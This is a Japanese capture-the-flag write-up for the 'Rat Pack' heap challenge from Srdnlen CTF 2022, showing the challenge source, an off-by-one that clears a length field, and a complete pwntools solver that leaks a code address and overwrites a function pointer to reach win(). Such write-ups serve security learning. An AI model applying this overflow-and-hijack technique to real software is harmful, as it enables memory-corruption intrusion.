Srdnlen CTF 2022に参加していました。 解き損ねたpwnのRat Packという問題のメモです。

問題

典型的なheap問でよくある、メニューがあって操作ができるタイプの問題です。 書き方はかなりCっぽいですが、C++でコンパイルされています。 まずはGhidraとかで適当にreversingをしておきます。

rat構造体

この問題の中心となるratという構造体は以下のような構造になっています。(変数名は公式Writeup1で公開されているソースコードに準拠)

 1struct rat {
 2  struct rat** pack;              // スタック上のstruct rat* packへのポインタ
 3  void(*dialogue)(struct rat*);   // base pointer                
 4  char name[16];                  // ratの名前                      
 5  int maxlen;                     // ratの名前の最大長                  
 6}
 7
 8//      |0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f|
 9// +00h |pack-----------|dialogue-------|
10// +10h |name---------------------------|
11// +20h |maxlen---------|               |

操作

この構造体に対して可能な操作は以下の通りです。ただし、packaddrはratを管理するサイズ16の配列です。

  1. createRat()

     1void createRat(struct rat** packaddr) {
     2    // Allocate and initialize
     3    struct rat* newRat = (struct rat*) malloc(sizeof(struct rat));
     4    newRat->maxlen = NAME_LEN;
     5    newRat->dialogue = dialogue;
     6    newRat->pack = packaddr;
     7    name(newRat);
     8
     9    // Place rat in pack.
    10    for (int i = 0; i < MAX_RATS; i++) {
    11        if (packaddr[i] == NULL) {
    12            packaddr[i] = newRat;
    13            return;
    14        }
    15    }
    16    printf("You ran out of rat space!\n");
    17    free(newRat);
    18}
    
    • sizeof(struct rat) = 0x28 のサイズの領域を確保(実際は0x30)
      • これをnewRatとする。
    • newRatのメンバ変数を初期化し、name(newRat)で名前を設定
    • packaddrを先頭から走査し、空いている箇所にnewRatを設定
      • もし領域が空いていなければfree(newRat)
  2. greetRat()

     1void greetRat(struct rat** packaddr) {
     2    int i = 0;
     3    printf("Select a rat number.\n");
     4    scanf("%d", &i);
     5    getchar();
     6    i %= MAX_RATS;
     7
     8    if (packaddr[i] != NULL) {
     9        packaddr[i]->dialogue(packaddr[i]);
    10    }
    11    else {
    12        printf("There's no rat there.\n");
    13    }
    14}
    
    • packaddr[i]->dialogueが指す関数ポインタを、packaddr[i]を引数に設定して関数呼び出し
  3. renameRat()

     1void renameRat(struct rat** packaddr) {
     2    int i = 0;
     3    printf("Select a rat number.\n");
     4    scanf("%d", &i);
     5    getchar();
     6    i %= MAX_RATS;
     7
     8    if (packaddr[i] != NULL) {
     9        name(packaddr[i]);
    10    }
    11    else {
    12        printf("There's no rat there.\n");
    13    }
    14}
    
    • name()で名前を設定
  4. deleteRat()

     1void deleteRat(struct rat** packaddr) {
     2    int i = 0;
     3    printf("Select a rat number.\n");
     4    scanf("%d", &i);
     5    getchar();
     6    i %= MAX_RATS;
     7
     8    if (packaddr[i] != NULL) {
     9        free(packaddr[i]);
    10        packaddr[i] = NULL;
    11    }
    12    else {
    13        printf("There's no rat there.\n");
    14    }
    15}
    
    • free(packaddr[i])を実行後、nullを代入

脆弱性

createRat()とrenameRat()で使用されている名前を設定する関数nameにoff-by-one errorがあります。 nameの直後にはnameの最大長を管理する変数が配置されていますが、これをoff-by-oneで0に書き換えると以降の書き込みで16バイト以上の文字列を書き込めます。 これは書き込み時のdo..while文の終了条件(i != maxlen)が成立しなくなるためです。

解法

今回はwin()があるので、dialogueを書き換えてそこに飛ばすだけで良いです。 ただし、PIEが有効であるので適当なアドレスをleakする必要があります。

攻撃の方針までは立ったのですが、どうやってleakしようか考えていたら競技が終わっていました。 終わってからいろいろ実験をしていると、packやchunkのsizeを適当に書き換えてもエラーで落ちないことがわかります。 これで適当にoverwriteしても問題ないことがわかったので、null文字を潰しながらdialogueのアドレスを1バイトずつleakします。 ただし、name()の文字列の埋め方が原因で1バイト飛ばしでしかleakできないので、ratを2つ用意して4バイトずつ取得します。

Solver

 1from pwn import *
 2
 3_r = process("./rats")
 4
 5def create(name: bytes):
 6    _r.sendlineafter(b"Quit.\n\n", b"1")
 7    _r.sendlineafter(b"name\n", name)
 8
 9
10def greet(number: int, payload: bytes = b""):
11    _r.sendlineafter(b"Quit.\n\n", b"2")
12    _r.sendlineafter(b"number.\n", str(number).encode())
13    _r.recvuntil(payload)
14
15    if payload:
16        return _r.recvline()
17
18    return _r.recv(128)
19
20
21def rename(number: int, name: bytes):
22    _r.sendlineafter(b"Quit.\n\n", b"3")
23    _r.sendlineafter(b"number.\n", str(number).encode())
24    _r.sendlineafter(b"name\n", name)
25
26
27def delete(number: int):
28    _r.sendlineafter(b"Quit.\n\n", b"4")
29    _r.sendlineafter(b"number.\n", str(number).encode())
30
31
32# Leak
33create(b"A" * 0x0F)  # off-by-one
34create(b"A" * 0x0F)  # off-by-one
35create(b"target")
36
37
38leaked_addr = 0
39
40for i in range(4):
41    offset = 2 * i + 1
42    length = 0x28 + offset
43
44    payload = b"A" * length
45    rename(1, payload)
46
47    leak = greet(1, payload)
48    if leak == b".\n":
49        leak = b"\0" + leak
50
51    leaked_addr |= leak[0] << (8 * offset)
52
53for i in range(4):
54    offset = 2 * i
55    length = 0x28 + offset
56
57    payload = b"A" * length
58    rename(0, payload)
59    leak = greet(0, payload)
60    if leak == b".\n":
61        leak = b"\0" + leak
62
63    leaked_addr |= leak[0] << (8 * offset)
64
65base_addr = leaked_addr - 0x1269
66win_addr = base_addr + 0x1669
67
68print(f"{leaked_addr = :#x}")
69print(f"{base_addr = :#x}")
70print(f"{win_addr = :#x}")
71
72
73# win
74payload = b""
75payload += b"A" * 0x28
76payload += p64(win_addr)
77rename(0, payload)
78
79# call win()
80res = greet(1)
81print(res)

Flag: srdnlen{celebrating_yet_another_stack_smash_09772fee}


  1. srdnlen/srdnlenctf-2022_public: Source code and documentation for Srdnlen CTF 2022 challenges | https://github.com/srdnlen/srdnlenctf-2022_public ↩︎